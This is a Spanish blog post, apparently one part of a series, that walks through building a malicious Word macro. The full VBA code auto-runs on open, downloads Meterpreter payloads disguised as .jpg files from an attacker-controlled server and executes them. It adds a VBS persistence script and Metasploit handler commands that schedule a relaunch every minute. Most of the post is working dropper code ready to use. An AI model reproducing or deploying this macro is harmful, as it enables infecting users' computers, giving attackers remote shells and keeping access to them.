Una vez el usuario final acepte la macro, podremos infectar al equipo de forma controlada y de múltiples formas.A lo largo de varias entradas iremos hablando de estas distintas formas:
La primero que vamos a utilizar es hacer nuestro propio código en VBA (Visual Basic Application) para descargar y ejecutar los binarios que hemos generado en Manipulación de binarios para evasión de antivirus .
Recordemos que tenemos un binario para sistemas sin ASLR y otro para sistemas con ASLR, por lo que tendremos que detectar que sistema operativo tenemos cuando se este ejecutando la macro y en función de ello descargue un binario u otro.
Además de todo ello, también podríamos querer tener persistencia en nuestra sesión de meterpreter.Tenemos los scripts persistence y met_svc de meterpreter, con estos, se manipulan datos del registro entre otras cosas y algunos antivirus lo detectan, por lo que no nos sirve, podríamos cambiar su funcionamiento, pero quizá sea mas practico buscarnos otra forma.Para ello, vamos a crear una tarea programa en el sistema operativo, para que compruebe cada minuto si nuestro .exe esta en ejecución , si no lo esta, lo ejecutara y nos devolverá shell.Así tanto si muere nuestra sesión, como si reinician el equipo, volveremos a tener sesión siempre que tengamos el multi handler de metasploit escuchando.
Vamos a ver como hacemos todo esto en las macros:
Lo primero que hacemos es utilizar la función AutoOpen() para que se ejecute nada mas abrir el documento ( y aceptar la ejecución de macros).Vemos que aquí lo que hacemos es llamar a la función OSVersion que hemos creado, veremos justo después que realiza.
Sub AutoOpen() OSVersion End SubLo que hace la función OSVersion() es comprobar que sistema operativo se esta ejecutando la macro.Si es winxp llamaremos a una función y si es Win7 llamaremos a otra ,esta parte la podemos modificar para win2k3 , winvista etc.. , en este caso solo nos interesa winxp y win7
Vamos a seguir el código como se iría ejecutando en el caso de ser un Win7
Public Function OSVersion() Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem") For Each Sys In SystemSet Version = Sys.Caption Next If InStr(Version, "XP") = 0 Then Download_7 'es distinto a winxp' Else Download_xp 'es WinXP' End If
Veamos ahora las funciones Download_7 y Download_xp, estas funciones usan el winhttp para descargar mediante http un recurso.Este recurso sera un jpg que tenemos en nuestro servidor web, este jpg, sera descargado y renombrado a .exe en el sistema, en concreto en c:\ . Una vez descargado, sera ejecutado llamando a la función que hemos creado RunFile y después de ejecutarlo, se llamara a la función Download_7_persist que es la función que hará las acciones pertinentes para proporcionarnos persistencia en nuestra sesión.
Private Sub Download_7() Dim FileNum As Long Dim FileData() As Byte Dim MyFile As String Dim MyFile2 As String Dim WHTTP As Object On Error Resume Next Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5") If Err.Number <> 0 Then Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1") End If MyFile = "http://192.168.1.100/met_7.jpg" WHTTP.Open "GET", MyFile, False WHTTP.Send FileData = WHTTP.ResponseBody Set WHTTP = Nothing FileNum = FreeFile Open "c:\met_7.exe" For Binary Access Write As #FileNum Put #FileNum, 1, FileData Close #FileNum RunFile ("C:\met_7.exe") Download_7_persist End Sub
La función RunFile, simplemente ejecutara desde un cmd el binario que le pasamos como parametro:
Function RunFile(strFile As String) Shell "cmd /C """ & strFile & """" Error_Handler_Exit: On Error Resume Next Exit Function Error_Handler: Resume Error_Handler_Exit End Function
La función Download_7_persiste utiliza también winhttp para descargase un script en VBS (Visual Basic Script) y ejecutarlo, cuando lo ejecute, lo que hará es comprobar si en los procesos del sistema esta nuestro binario met_7.exe , si no, lo arrancara (en c:\met_7.exe) , mas abajo veremos el código de este VBS.
Private Sub Download_7_persist() Dim FileNum As Long Dim FileData() As Byte Dim MyFile As String Dim WHTTP As Object On Error Resume Next Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5") If Err.Number <> 0 Then Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1") End If MyFile = "http://192.168.1.100/7/persist.vbs" WHTTP.Open "GET", MyFile, False WHTTP.Send FileData = WHTTP.ResponseBody Set WHTTP = Nothing FileNum = FreeFile Open "c:\persist.vbs" For Binary Access Write As #FileNum Put #FileNum, 1, FileData Close #FileNum End Sub
Aquí tenemos el código del met_7.vbs:
Set WshShell = WScript.CreateObject ("WScript.Shell") Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process") For Each objProcess in colProcessList if objProcess.name = "met_7.exe" then vFound = True End if Next If vFound = True then wscript.sleep 5000 Else WshShell.Run ("C:\met_7.exe") wscript.sleep 5000 End If vFound = False
Para que todo esto funcione, debemos levantar el multi/handler de la siguiente manera:
./msfconsole
use exploit/multi/handler
set lport 443 # levantamos el multi handler en el puerto 443 que es el que utilizan nuestros binarios
set AutoRunScript scheduleme -m 1 -c C:\\\\persist.vbs # en cuanto obtengamos sesión, se creara la tarea programada a ejecutarse cada minuto, lo que ejecuta es nuestro script persist.vbs
set ExitOnSession false
exploit -j -z
Con todo esto empezaremos a obtener sesiones de los usuarios que hayan aceptado nuestras macros, y tendremos persistencia en caso de perder sesión.Evidentemente, esto en entornos corporativos en los que los usuarios solo pueden salir a internet a través de proxy no funciona ya que ni la descarga de los ficheros por macros ni la ejecución de meterpreter reverso funcionará, por lo que más adelante veremos una forma mucho mas sofisticada e interesante para realizarlo.
Así queda el código de la macro completo:
Sub AutoOpen() OSVersion End Sub Public Function OSVersion() Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem") For Each Sys In SystemSet Version = Sys.Caption Next If InStr(Version, "XP") = 0 Then Download_7 'no es winxp' Else Download_xp 'es WinXP' End If End Function Private Sub Download_xp() Dim FileNum As Long Dim FileData() As Byte Dim MyFile As String Dim WHTTP As Object On Error Resume Next Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5") If Err.Number <> 0 Then Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1") End If MyFile = "http://192.168.1.1/met_xp.jpg" WHTTP.Open "GET", MyFile, False WHTTP.Send FileData = WHTTP.ResponseBody Set WHTTP = Nothing FileNum = FreeFile Open "c:\met_xp.exe" For Binary Access Write As #FileNum Put #FileNum, 1, FileData Close #FileNum RunFile ("C:\met_xp.exe") Download_xp_persist End Sub Private Sub Download_xp_persist() Dim FileNum As Long Dim FileData() As Byte Dim MyFile As String Dim WHTTP As Object On Error Resume Next Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5") If Err.Number <> 0 Then Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1") End If 'MyFile = "http://192.168.1.1/xp/persist.vbs"' WHTTP.Open "GET", MyFile, False WHTTP.Send FileData = WHTTP.ResponseBody Set WHTTP = Nothing FileNum = FreeFile Open "c:\persist.vbs" For Binary Access Write As #FileNum Put #FileNum, 1, FileData Close #FileNum End Sub Private Sub Download_7() Dim FileNum As Long Dim FileData() As Byte Dim MyFile As String Dim MyFile2 As String Dim WHTTP As Object On Error Resume Next Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5") If Err.Number <> 0 Then Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1") End If MyFile = "http://192.168.1.100/met_7.jpg" WHTTP.Open "GET", MyFile, False WHTTP.Send FileData = WHTTP.ResponseBody Set WHTTP = Nothing FileNum = FreeFile Open "c:\met_7.exe" For Binary Access Write As #FileNum Put #FileNum, 1, FileData Close #FileNum RunFile ("C:\met_7.exe") Download_7_persist End Sub Private Sub Download_7_persist() Dim FileNum As Long Dim FileData() As Byte Dim MyFile As String Dim WHTTP As Object On Error Resume Next Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5") If Err.Number <> 0 Then Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1") End If MyFile = "http://192.168.1.100/7/persist.vbs" WHTTP.Open "GET", MyFile, False WHTTP.Send FileData = WHTTP.ResponseBody Set WHTTP = Nothing FileNum = FreeFile Open "c:\persist.vbs" For Binary Access Write As #FileNum Put #FileNum, 1, FileData Close #FileNum End Sub Function RunFile(strFile As String) Shell "cmd /C """ & strFile & """" Error_Handler_Exit: On Error Resume Next Exit Function Error_Handler: Resume Error_Handler_Exit End Function
No hay comentarios:
Publicar un comentario